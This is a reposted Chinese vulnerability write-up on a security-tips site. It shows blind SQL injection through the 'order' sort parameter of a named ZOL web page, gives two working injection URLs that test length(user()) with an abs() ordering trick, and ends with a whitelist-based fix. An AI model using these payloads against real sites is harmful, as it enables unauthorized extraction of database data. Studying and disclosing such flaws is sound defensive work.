中关村在线网站order by语句的盲注思路及修复方案(图)
基于order by内容的盲注
详细说明:
对http://active.zol.com.cn/diy/bisai.php?mont_h=2009-05&id=12&type=15&order=zj_vote+desc 做安全检测。
尝试数值型注入未果。
不过,看到zj_vote+desc,想到这里也许能利用。
用工具扫它没发现注入。因为mysql的union前不能带order by。
但是order by里的内容是不是就没法注入了?
我不死心啊。
做了一些尝试,发现order by是可以盲注的。
这种方式依赖数据库结果中必须存在一个已知存在不一样数值的列。
不过,既然程序里order by那个字段了,那么那个字段理论上肯定有多种值的。比如本例中的zj_vote字段.
漏洞证明:
看排序。236和239数值相差3,我构造一个abs(zj_vote-237-(expr)) asc.
(expr)为假时,(239-237-0)=2,(236-237-0)=1,236排前面,
(expr)为真时,(239-237-1)=1,(236-237-1)=2,239排前面,
你也许会说,你这个236和239相差是3,当然简单了。如果相差2呢?
比如236和238怎么办?
不卖关子了,直接告诉你吧,他不是相差2么,你可以用abs(zj_vote-236-(expr)*3)啊
http://active.zol.com.cn/diy/bisai.php?mont_h=2009-05&id=12&type=15&order=abs(zj_vote-237-(length(user())>20))+asc
http://active.zol.com.cn/diy/bisai.php?mont_h=2009-05&id=12&type=15&order=abs(zj_vote-237-(length(user())=20))+asc
修复方案:
做一个允许的排序方式组合的数组,排序方式传排序方式的数组下标就可以了。
想直接传字段也可以,检查一下那个排序方式是否在数组里,不是就用默认排序方式。也就安全了。
作者 小雨
上一篇:192.168.1.1进入路由器默认的用户名和密码是多少 常用路由默认密码大全
栏 目:安全设置
下一篇:AceNet AceRepoter软件的简单漏洞分析(图文)
本文标题:中关村在线网站order by语句的盲注思路及修复方案(图)
本文地址:https://idc91.com/wangluoanquan/474.html
您可能感兴趣的文章
- 05-22局域网共享安全方式之用局域网文件共享系统实现共享文件夹安全设置
- 05-22IIS 短文件/文件夹漏洞修复方法
- 05-22用mcafee麦咖啡设置服务器基本用户安全(防止新建用户与修改密码)
- 05-22防范黑客入侵,关闭端口封锁大门 黑客无法入侵
- 05-22如何保证自己的上网安全?防范自救就靠10条
- 05-22现代网络性能监控工具应具备何种技能?网络与应用程序监控
- 05-22远离病毒 八项基本原则
- 05-22电脑遭受ARP攻击,解决办法
- 05-22Linux 防范病毒的方法
- 05-22mysql 注入报错利用方法总结
阅读排行
推荐教程
- 05-22了解防火墙,防火墙分为哪几个种类
- 05-22禁用Cookie功能的方法
- 05-22防止E-mail邮箱被攻击 教你如何远离垃圾邮件
- 05-22密码的一些存储方式和安全传输建议
- 05-22Windows设置系统权限防止病毒入侵的一些经验分享
- 05-22IIS PHP fastcgi模式 pathinfo取值错误任意代码执行漏洞修复方法
- 05-22你的手机有没有ROOT? ROOT后的手机漏洞防不胜防
- 05-22局域网共享安全方式之用局域网文件共享系统实现共享文件夹安全设置
- 05-22教大家十五招提升服务器安全等级
- 05-22IIS 短文件/文件夹漏洞修复方法
重要申明:本站所有的文章、图片、评论等,均由网友发表或上传并维护或收集自网络,属个人行为,与本站立场无关。
如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。
Copyright © 2023 IDC91.COM 版权所有晋ICP备17006296号